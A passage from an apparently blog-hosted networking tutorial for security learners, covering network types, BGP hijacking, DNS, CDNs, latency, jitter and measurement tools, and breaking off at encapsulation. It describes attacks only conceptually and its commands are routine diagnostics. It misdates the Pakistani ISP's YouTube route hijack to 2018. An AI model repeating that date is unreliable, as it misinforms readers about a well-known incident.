&lt;li&gt;Bluetooth has had catastrophic vulnerabilities: BlueBorne (2017) allowed unauthenticated RCE on any Bluetooth device without pairing — just being in range was enough&lt;/li&gt;
&lt;li&gt;NFC proximity requirement (≤4cm) is often cited as a security feature, but relay attacks can extend this range significantly&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;OT/ICS relevance:&lt;/strong&gt; Zigbee is extensively used in smart meters, building automation, and some industrial sensor networks. Zigbee security depends heavily on proper key management, which is frequently misconfigured in deployments&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Real Attack Scenarios:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Bluetooth keyboard injection: send keystrokes to a paired device to execute commands&lt;/li&gt;
&lt;li&gt;NFC relay attack: intercept and relay contactless payment at a distance using two devices&lt;/li&gt;
&lt;li&gt;Zigbee network compromise: capture the network key from a commissioning device, decrypt all traffic&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  3.3 LAN — Local Area Network
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Scale:&lt;/strong&gt; Single building or campus, typically up to ~1km&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Purpose:&lt;/strong&gt; Connect devices within an organisation or home&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Technologies:&lt;/strong&gt; Ethernet (IEEE 802.3), Wi-Fi (IEEE 802.11), Token Ring (legacy)&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Speed:&lt;/strong&gt; 100 Mbps to 400 Gbps (modern enterprise)&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Typical Corporate LAN:
[Workstations] ←→ [Access Switch] ←→ [Distribution Switch] ←→ [Core Switch]
[Servers]      ←→ [Access Switch] ←→ [Distribution Switch] ←→ [Core Switch]
[IP Phones]    ←→ [Access Switch] ←→ (VLAN separation)
[IoT Devices]  ←→ [Access Switch] ←→ (Isolated VLAN)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Security Characteristics:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The LAN is where most enterprise security incidents happen. Because LAN traffic stays within the organisation's infrastructure, there is a common (and dangerous) assumption that LAN traffic is trustworthy. The Zero Trust model exists specifically to challenge this assumption.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Why LAN is the primary attack surface:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Once an attacker gains initial access (phishing, exploitation), they are inside the LAN&lt;/li&gt;
&lt;li&gt;Traditional security models focused defences at the perimeter (where LAN meets WAN)&lt;/li&gt;
&lt;li&gt;Inside the LAN, lateral movement was often unimpeded — flat networks where every device could reach every other device&lt;/li&gt;
&lt;li&gt;ARP poisoning, VLAN hopping, SMB relay attacks, LLMNR/NBT-NS poisoning — all LAN-specific attacks&lt;/li&gt;
&lt;li&gt;Active Directory, which dominates enterprise identity, is a LAN technology&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Network Segmentation — The Most Important LAN Security Concept:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;A flat LAN is a security disaster. Proper segmentation divides the LAN into zones where communication between zones is explicitly controlled:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Segmented Corporate LAN:
[Internet] → [Firewall] → [DMZ: Web servers, Mail relays]
                       → [Corporate LAN]
                            ├── [User VLAN: Workstations]
                            ├── [Server VLAN: Internal servers]
                            ├── [Management VLAN: Network devices, IPMI]
                            ├── [VoIP VLAN: IP phones]
                            ├── [Guest VLAN: Visitors — no LAN access]
                            └── [OT VLAN: Industrial devices — strictly isolated]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Each zone communicates with others only through explicitly allowed firewall rules. A compromised workstation in the User VLAN cannot directly reach the Server VLAN without going through inspection.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;OT/ICS LAN specifics:&lt;/strong&gt; Industrial LANs are supposed to be isolated from corporate IT LANs. In practice, the IT/OT boundary is one of the most frequently misconfigured security controls in the industry. The Ukraine 2015 power grid attack used IT network access to reach OT networks that were inadequately segregated.&lt;/p&gt;

&lt;h3&gt;
  
  
  3.4 MAN — Metropolitan Area Network
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Scale:&lt;/strong&gt; City or metropolitan area, typically 5-50km&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Purpose:&lt;/strong&gt; Connect multiple buildings or LANs within a geographic region&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Technologies:&lt;/strong&gt; Fibre optic rings (SONET/SDH), Carrier Ethernet, MPLS&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Who uses it:&lt;/strong&gt; Telecommunications providers, city governments, large universities, utility companies&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;City Infrastructure MAN:
[Hospital Campus] ←→ [City Fibre Ring] ←→ [City Hall]
[University]      ←→ [City Fibre Ring] ←→ [Library Network]
[Power Utility]   ←→ [City Fibre Ring] ←→ [Water Authority]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Security Characteristics:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The physical medium crosses public spaces — fibre cables can be cut, tapped, or accessed at junction points&lt;/li&gt;
&lt;li&gt;Traffic often passes through multiple intermediate carriers where you have no visibility&lt;/li&gt;
&lt;li&gt;City-scale infrastructure MANs are critical infrastructure targets — disrupting a MAN can affect hospitals, utilities, and government services simultaneously&lt;/li&gt;
&lt;li&gt;BGP (Border Gateway Protocol) route hijacking can redirect MAN traffic through attacker-controlled infrastructure&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Utility company MANs&lt;/strong&gt; connect substations, control centres, and distribution equipment — these are high-value OT targets precisely because they are networked&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  3.5 WAN — Wide Area Network
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Scale:&lt;/strong&gt; Across cities, countries, or globally&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Purpose:&lt;/strong&gt; Connect geographically distributed networks&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Technologies:&lt;/strong&gt; MPLS, SD-WAN, leased lines, satellite, undersea cables&lt;br&gt;&lt;br&gt;
&lt;strong&gt;The internet itself is the world's largest WAN&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Corporate WAN Example:
[HQ — Istanbul] ←→ [MPLS Provider] ←→ [Branch — Ankara]
[HQ — Istanbul] ←→ [MPLS Provider] ←→ [Branch — Izmir]
[HQ — Istanbul] ←→ [Internet VPN]  ←→ [Remote Workers]
[HQ — Istanbul] ←→ [Internet]      ←→ [Cloud Services]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Security Characteristics:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The WAN is fundamentally hostile territory. Traffic crosses infrastructure owned by third parties — ISPs, backbone providers, content delivery networks. This is the environment for which TLS/SSL was invented.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;BGP — The Internet's Routing Protocol and Its Security Problem:&lt;/strong&gt;&lt;br&gt;
BGP (Border Gateway Protocol) is how routers on the internet decide where to send traffic. It is based on trust — networks announce which IP ranges they own, and other networks believe them. This design worked when the internet was small and all participants were known entities.&lt;/p&gt;

&lt;p&gt;Today, BGP hijacking is a real and recurring threat:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;In 2018, a Pakistani ISP accidentally announced that it owned YouTube's IP ranges. YouTube was unreachable globally for ~2 hours.&lt;/li&gt;
&lt;li&gt;In 2010, China Telecom advertised routes for ~15% of internet traffic, routing it through China for ~18 minutes.&lt;/li&gt;
&lt;li&gt;In 2022, researchers documented dozens of suspicious BGP events suggesting intentional route manipulation.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;BGP hijacking can be used to:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Intercept traffic before it reaches its destination&lt;/li&gt;
&lt;li&gt;Perform SSL stripping attacks at scale&lt;/li&gt;
&lt;li&gt;Take over domains by intercepting DNS traffic&lt;/li&gt;
&lt;li&gt;Disrupt specific organisations' connectivity&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;RPKI (Resource Public Key Infrastructure) is the cryptographic solution — it allows networks to cryptographically sign their BGP route announcements. Adoption is growing but not universal.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;SD-WAN — The Modern Enterprise WAN:&lt;/strong&gt;&lt;br&gt;
SD-WAN (Software-Defined WAN) overlays software-defined networking principles onto WAN infrastructure. It dynamically routes traffic across multiple links (MPLS + broadband internet + 4G) based on policy. SD-WAN has its own attack surface — the centralised controller is a high-value target, and misconfigured SD-WAN deployments have exposed management interfaces to the internet.&lt;/p&gt;


&lt;h2&gt;
  
  
  4. How the Internet Actually Works
&lt;/h2&gt;
&lt;h3&gt;
  
  
  4.1 The Physical Foundation
&lt;/h3&gt;

&lt;p&gt;The internet is not a cloud. It is a very concrete physical infrastructure. Understanding its physical reality changes how you think about attacks, censorship, intelligence collection, and reliability.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Undersea Cables:&lt;/strong&gt;&lt;br&gt;
Approximately 95% of international internet traffic travels through undersea fibre optic cables. There are roughly 400 active submarine cable systems connecting every continent except Antarctica. Each cable is roughly the diameter of a garden hose and carries petabits of traffic per second.&lt;/p&gt;

&lt;p&gt;These cables are:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Vulnerable to physical damage (anchors, earthquakes, fishing trawlers)&lt;/li&gt;
&lt;li&gt;Landing stations where cables come ashore are intelligence collection points — the Snowden documents revealed that GCHQ and NSA tapped undersea cables at landing stations&lt;/li&gt;
&lt;li&gt;When a major cable is cut, traffic reroutes through other cables, but capacity constraints cause slowdowns affecting entire regions&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Internet Exchange Points (IXPs):&lt;/strong&gt;&lt;br&gt;
IXPs are physical locations where different networks (ISPs, content providers, CDNs) connect and exchange traffic directly — "peering." Major IXPs include DE-CIX (Frankfurt), AMS-IX (Amsterdam), Equinix (multiple cities).&lt;/p&gt;

&lt;p&gt;IXPs handle enormous traffic volumes and are significant surveillance and intelligence collection points. They are also single points of failure for regional connectivity.&lt;/p&gt;
&lt;h3&gt;
  
  
  4.2 IP Routing — The Logic Layer
&lt;/h3&gt;

&lt;p&gt;When you send data across the internet, it does not travel a fixed, pre-determined path. It is routed dynamically, hop by hop, from router to router.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Your packet's journey from Istanbul to New York:
Your PC (192.168.1.5)
    ↓
Home Router (ISP gateway)
    ↓
ISP Router — Istanbul
    ↓
ISP Core Router — Istanbul
    ↓
Undersea Cable Landing Station — Portugal
    [Undersea fibre cable — Atlantic Ocean]
    ↓
Landing Station — New York
    ↓
Tier-1 ISP — New York
    ↓
Destination ISP — New York
    ↓
Target Server (203.0.113.1)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Each "hop" is a router that examines the destination IP address, looks up its routing table, and forwards the packet to the next hop. The routing table says: "For packets destined to 203.0.113.0/24, forward to next-hop 198.51.100.1."&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Traceroute reveals this path:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;traceroute google.com
&lt;span class="c"&gt;# Each line is one hop&lt;/span&gt;
&lt;span class="c"&gt;# 1  192.168.1.1      1ms    ← Your router&lt;/span&gt;
&lt;span class="c"&gt;# 2  10.0.0.1         5ms    ← ISP router&lt;/span&gt;
&lt;span class="c"&gt;# 3  195.175.39.1    12ms    ← ISP core&lt;/span&gt;
&lt;span class="c"&gt;# 4  195.175.39.254  15ms    ← ISP backbone&lt;/span&gt;
&lt;span class="c"&gt;# ...&lt;/span&gt;
&lt;span class="c"&gt;# 18 142.250.185.78   98ms   ← Google's network&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Security Implication of Routing:&lt;/strong&gt;&lt;br&gt;
You have no control over which routers handle your packets. Traffic between two Turkish endpoints might transit through routers in other countries depending on peering agreements. Each router along the path is a potential point of interception, modification, or blocking.&lt;/p&gt;

&lt;p&gt;This is why end-to-end encryption (TLS) is designed to protect data even when the network infrastructure is untrusted. The encryption happens between your browser and the server — all the intermediate routers see is encrypted ciphertext.&lt;/p&gt;
&lt;h3&gt;
  
  
  4.3 DNS — The Internet's Phone Book
&lt;/h3&gt;

&lt;p&gt;DNS (Domain Name System) translates human-readable names (google.com) into IP addresses (142.250.185.78) that routers use to route packets.&lt;/p&gt;

&lt;p&gt;Understanding DNS is critical because:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;DNS is involved in almost every internet communication&lt;/li&gt;
&lt;li&gt;DNS attacks (poisoning, hijacking, tunnelling) are common and powerful&lt;/li&gt;
&lt;li&gt;DNS queries are often unencrypted — they reveal every site you visit&lt;/li&gt;
&lt;li&gt;C2 (Command and Control) communication for malware frequently uses DNS&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;The DNS Resolution Process:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;You type: www.example.com

1. Check local DNS cache → not found
2. Query local resolver (your ISP or 8.8.8.8)
3. Resolver checks its cache → not found
4. Resolver queries root nameserver (.)
   "I need to find .com"
   Root server: "Ask the .com nameserver at 192.5.6.30"
5. Resolver queries .com nameserver
   "I need example.com"
   .com nameserver: "Ask example.com's nameserver at 205.251.196.1"
6. Resolver queries example.com's nameserver
   "I need www.example.com"
   Returns: "www.example.com → 93.184.216.34"
7. Resolver caches this result (TTL: 3600 seconds)
8. Returns 93.184.216.34 to your computer
9. Your computer connects to 93.184.216.34

Total time: typically 50-300ms (first query, uncached)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;DNS Security Issues:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;DNS cache poisoning: inject false DNS records into a resolver's cache, causing victims to connect to attacker-controlled IP&lt;/li&gt;
&lt;li&gt;DNS hijacking: modify DNS settings on a device or router to redirect all queries to a malicious server&lt;/li&gt;
&lt;li&gt;DNS tunnelling: encode data in DNS queries to exfiltrate data or maintain C2 communication through firewalls that allow DNS traffic&lt;/li&gt;
&lt;li&gt;DNS over HTTP (DoH) and DNS over TLS (DoT) encrypt DNS queries, but also bypass traditional DNS monitoring — both a security improvement (privacy) and a detection challenge (visibility)&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  4.4 CDN — How Content Actually Reaches You
&lt;/h3&gt;

&lt;p&gt;When you visit a major website, you are rarely connecting to the company's own server. You are connecting to a Content Delivery Network (CDN) — a globally distributed network of servers that cache and serve content from the closest location.&lt;/p&gt;

&lt;p&gt;Major CDNs: Cloudflare, Akamai, Fastly, Amazon CloudFront, Google Cloud CDN.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Without CDN:
Turkish user → Request → Server in California → Response (200ms round trip)

With CDN:
Turkish user → Request → CDN node in Frankfurt → Response (20ms round trip)
                         (cached content served locally)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;CDN Security Relevance:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;CDNs absorb DDoS attacks — they have enough bandwidth and distributed infrastructure to absorb volumetric attacks that would overwhelm a single server&lt;/li&gt;
&lt;li&gt;Cloudflare's "magic transit" and similar services can protect infrastructure from DDoS even at the network layer&lt;/li&gt;
&lt;li&gt;CDN misconfigurations can expose origin server IPs (bypassing DDoS protection) or leak internal content&lt;/li&gt;
&lt;li&gt;WAF (Web Application Firewall) functionality is commonly embedded in CDN services&lt;/li&gt;
&lt;li&gt;CDNs see plaintext traffic even for HTTPS sites (TLS terminates at the CDN edge) — this is both a capability and a trust consideration&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  5. Bandwidth, Latency, Jitter — The Performance Trinity
&lt;/h2&gt;

&lt;h3&gt;
  
  
  5.1 Why These Matter for Security Professionals
&lt;/h3&gt;

&lt;p&gt;Network performance metrics are not just for network engineers. They directly affect:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Whether attacks are detectable (anomalous bandwidth usage is an IOC)&lt;/li&gt;
&lt;li&gt;How C2 channels are designed (attackers must stay within normal baseline traffic patterns to avoid detection)&lt;/li&gt;
&lt;li&gt;DDoS attack characterisation (bandwidth exhaustion vs latency degradation vs jitter-based attacks)&lt;/li&gt;
&lt;li&gt;OT network viability (real-time control requires strict latency and jitter bounds — exceeding them causes physical consequences)&lt;/li&gt;
&lt;li&gt;Forensic timeline reconstruction (network timing data helps reconstruct attack sequences)&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  5.2 Bandwidth — The Pipe Size
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Definition:&lt;/strong&gt; The maximum rate at which data can be transferred across a network link. Measured in bits per second (bps) and its multiples: Kbps, Mbps, Gbps, Tbps.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Common bandwidth references:
Home broadband (Turkey, 2026): 100 Mbps - 1 Gbps download
Enterprise WAN link:           1 Mbps - 10 Gbps
Undersea cable (single):       ~160 Tbps
Ethernet LAN:                  1 Gbps - 400 Gbps
Wi-Fi 6 (802.11ax):           up to ~9.6 Gbps theoretical
5G cellular:                   up to ~20 Gbps theoretical, typically 100-900 Mbps real

Bits vs Bytes — confusion source:
Network speeds: bits/second (lowercase b) → 100 Mbps
File sizes: bytes (uppercase B) → 10 MB/s
100 Mbps ÷ 8 = 12.5 MB/s actual file transfer speed
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Bandwidth vs Throughput vs Goodput:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Bandwidth&lt;/strong&gt; — theoretical maximum capacity of the link&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Throughput&lt;/strong&gt; — actual data transfer rate achieved (always ≤ bandwidth)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Goodput&lt;/strong&gt; — useful data transferred, excluding protocol overhead, retransmissions, headers&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Real-world throughput is always less than bandwidth due to:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Protocol overhead (headers in every packet)&lt;/li&gt;
&lt;li&gt;Network congestion&lt;/li&gt;
&lt;li&gt;Half-duplex limitations&lt;/li&gt;
&lt;li&gt;TCP flow control and congestion control&lt;/li&gt;
&lt;li&gt;Physical medium quality&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Security Relevance of Bandwidth:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;DDoS characterisation:&lt;/strong&gt; A volumetric DDoS attack aims to exhaust bandwidth. If a target's link is 10 Gbps and the attacker sends 50 Gbps, the link is saturated — legitimate traffic is crowded out. Modern DDoS attacks have reached 3.47 Tbps (Microsoft Azure, November 2021).&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Exfiltration detection:&lt;/strong&gt; A workstation that normally transfers 100 MB/day suddenly transferring 50 GB overnight is an anomaly. Baseline bandwidth monitoring makes this detectable. Tools like NetFlow and IPFIX collect per-flow bandwidth statistics that enable exactly this type of detection.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;C2 traffic blending:&lt;/strong&gt; Sophisticated attackers design C2 (command and control) communication to blend with baseline traffic. They beacon at irregular intervals, keep bandwidth low, and mimic the size patterns of legitimate traffic (mimicking HTTPS web browsing, for example). Understanding baseline bandwidth is what makes abnormal traffic visible.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;OT/ICS critical point:&lt;/strong&gt; Industrial control networks are engineered for specific, low bandwidth and extremely low latency. A Modbus poll from an HMI to a PLC might transfer only 12 bytes. If that link suddenly shows kilobytes or megabytes of traffic, something is wrong — either an attack is in progress, a misconfigured device is broadcasting, or malware is active. Bandwidth anomalies in OT networks are extremely significant.&lt;/p&gt;

&lt;h3&gt;
  
  
  5.3 Latency — The Speed of Information
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Definition:&lt;/strong&gt; The time it takes for data to travel from source to destination. Also called round-trip time (RTT) when measuring the time for a packet to travel to a destination and back.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Latency components — where the delay comes from:

Propagation delay:   Physical travel time through the medium
                     Light in fibre: 200,000 km/s (~2/3 speed of light)
                     1000 km distance → ~5ms one-way propagation

Transmission delay:  Time to push all bits of a packet onto the link
                     1500-byte packet on 1 Gbps link = 12,000 bits / 1,000,000,000 bps = 0.012ms

Processing delay:    Time for routers/switches to process the packet header
                     Modern routers: microseconds

Queuing delay:       Time spent waiting in router buffers during congestion
                     Highly variable — the main source of variable latency

Total RTT = 2 × (propagation + transmission + processing) + queuing
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Real-world latency examples:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Ping within the same LAN:          &amp;lt; 1ms
Ping to server in same city:       5-15ms
Ping Istanbul to Frankfurt:        ~30ms
Ping Istanbul to New York:         ~100ms
Ping Istanbul to Singapore:        ~180ms
Ping Istanbul to Sydney:           ~280ms
Ping to LEO satellite (Starlink):  20-40ms
Ping to GEO satellite:             ~600ms
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Why latency matters to security:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Timing attacks:&lt;/strong&gt; Cryptographic side-channel attacks often exploit timing variations in cryptographic operations. If an operation takes slightly longer when a certain key bit is 1 vs 0, measuring response times across thousands of requests can reveal the key. TLS implementations are carefully designed to be constant-time for this reason.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Network reconnaissance:&lt;/strong&gt; Latency measurements reveal network topology. A host with 1ms ping is on the local network. A host with 30ms ping is regional. This tells an attacker whether a target is local infrastructure or remote. Traceroute maps the path, and latency at each hop reveals geographic boundaries.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;C2 beaconing detection:&lt;/strong&gt; Malware that beacons to a C2 server at regular intervals creates a detectable pattern in network timing. Statistical analysis of connection timing can identify beaconing even when the traffic volume and content are normal-looking. This is how network detection tools like Zeek identify malware that evades signature-based detection.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;OT/ICS critical point:&lt;/strong&gt; Real-time industrial control has strict latency requirements. IEC 61850 GOOSE messages (used for protection relay signalling in electrical substations) must be delivered within 4ms. If an attacker can introduce latency on an OT network — through a DoS attack, traffic injection, or network device compromise — the control system's real-time performance degrades. This is a form of cyber-physical attack where a network-level action causes physical consequences.&lt;/p&gt;

&lt;h3&gt;
  
  
  5.4 Jitter — The Chaos in the Pipe
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Definition:&lt;/strong&gt; The variation in latency over time. Formally, jitter is the standard deviation of packet delay. If some packets take 10ms and others take 50ms, the jitter is high even if the average is acceptable.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Low jitter (stable):
Packet 1: 20ms
Packet 2: 21ms
Packet 3: 19ms
Packet 4: 20ms
Jitter: ~1ms ← Consistent, predictable

High jitter (unstable):
Packet 1: 10ms
Packet 2: 85ms
Packet 3: 12ms
Packet 4: 140ms
Jitter: ~55ms ← Unpredictable, problematic
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;What causes jitter:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Network congestion (packets queue in router buffers for varying amounts of time)&lt;/li&gt;
&lt;li&gt;Different routing paths (packets sometimes take different routes and arrive out of order)&lt;/li&gt;
&lt;li&gt;Physical layer interference (Wi-Fi especially, radio frequency interference causes variable retransmissions)&lt;/li&gt;
&lt;li&gt;CPU load on network devices&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Why jitter matters for security:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;VoIP and video — the obvious case:&lt;/strong&gt; High jitter makes voice and video communication unintelligible. Voice data arrives out of order or with gaps. A jitter buffer compensates by reordering and smoothing, but it adds latency. VoIP over Wi-Fi is particularly susceptible.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Jitter-based DDoS:&lt;/strong&gt; Some DoS attacks deliberately introduce jitter rather than dropping traffic. The connection stays up but becomes unusable. This is harder to detect than packet loss because the link appears operational.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Network forensics:&lt;/strong&gt; Unusual jitter patterns can indicate active attacks. A man-in-the-middle attack introduces processing delay at the intercept point. An attacker modifying packets in transit adds a small but measurable delay. High-resolution packet capture timing analysis can detect these anomalies — this is one of the techniques used in intrusion detection at the network level.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;OT critical:&lt;/strong&gt; PROFINET, EtherNet/IP, and other industrial Ethernet protocols have jitter requirements measured in microseconds. High jitter on an OT network causes missed control cycles, which manifests as physical process instability. A targeted jitter-inducing attack on an industrial network can cause a controlled process to become erratic or fail without any obviously "malicious" network traffic.&lt;/p&gt;

&lt;h3&gt;
  
  
  5.5 Measuring Performance — The Tools
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Measure latency — ICMP ping&lt;/span&gt;
ping &lt;span class="nt"&gt;-c&lt;/span&gt; 10 8.8.8.8          &lt;span class="c"&gt;# 10 packets to Google DNS&lt;/span&gt;
&lt;span class="c"&gt;# Output shows: min/avg/max/stddev — that stddev IS jitter&lt;/span&gt;

&lt;span class="c"&gt;# Measure path latency — traceroute&lt;/span&gt;
traceroute &lt;span class="nt"&gt;-n&lt;/span&gt; 8.8.8.8       &lt;span class="c"&gt;# -n = no DNS resolution (faster)&lt;/span&gt;
&lt;span class="c"&gt;# Each hop shows latency — latency that jumps suddenly indicates congestion point&lt;/span&gt;

&lt;span class="c"&gt;# Measure bandwidth — iperf3 (requires server at destination)&lt;/span&gt;
&lt;span class="c"&gt;# On server:&lt;/span&gt;
iperf3 &lt;span class="nt"&gt;-s&lt;/span&gt;
&lt;span class="c"&gt;# On client:&lt;/span&gt;
iperf3 &lt;span class="nt"&gt;-c&lt;/span&gt; server_ip &lt;span class="nt"&gt;-t&lt;/span&gt; 30   &lt;span class="c"&gt;# 30-second bandwidth test&lt;/span&gt;
iperf3 &lt;span class="nt"&gt;-c&lt;/span&gt; server_ip &lt;span class="nt"&gt;-u&lt;/span&gt; &lt;span class="nt"&gt;-b&lt;/span&gt; 100M  &lt;span class="c"&gt;# UDP test at 100 Mbps (tests jitter too)&lt;/span&gt;

&lt;span class="c"&gt;# Monitor real-time bandwidth per interface&lt;/span&gt;
iftop                        &lt;span class="c"&gt;# Interactive bandwidth monitor per connection&lt;/span&gt;
nethogs                      &lt;span class="c"&gt;# Bandwidth per process&lt;/span&gt;
bmon                         &lt;span class="c"&gt;# Interface bandwidth statistics&lt;/span&gt;

&lt;span class="c"&gt;# Measure DNS latency&lt;/span&gt;
dig @8.8.8.8 google.com      &lt;span class="c"&gt;# Query specific DNS server&lt;/span&gt;
&lt;span class="c"&gt;# Look for "Query time:" in output&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  6. Packets and Frames — How Data Travels
&lt;/h2&gt;

&lt;h3&gt;
  
  
  6.1 The Encapsulation Model
&lt;/h3&gt;

&lt;p&gt;Data does not travel across networks as a single, continuous stream. It is broken into discrete units and wrapped in layers of headers — this is called &lt;strong&gt;encapsulation&lt;/strong&gt;. Each layer adds its own header (and sometimes trailer) containing information relevant to that layer's function.&lt;/p&gt;

&lt;p&gt;Understanding encapsulation is not academic — every time you analyse a packet capture in Wireshark, you are looking at these layers. Every time you write a network detection rule, you specify which layer and which field you are inspecting. Every network attack targets specific fields in specific headers.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Application layer produces: "GET / HTTP/1.1\r\nHost: example.com\r\n\r\n"

Transport layer adds TCP header:
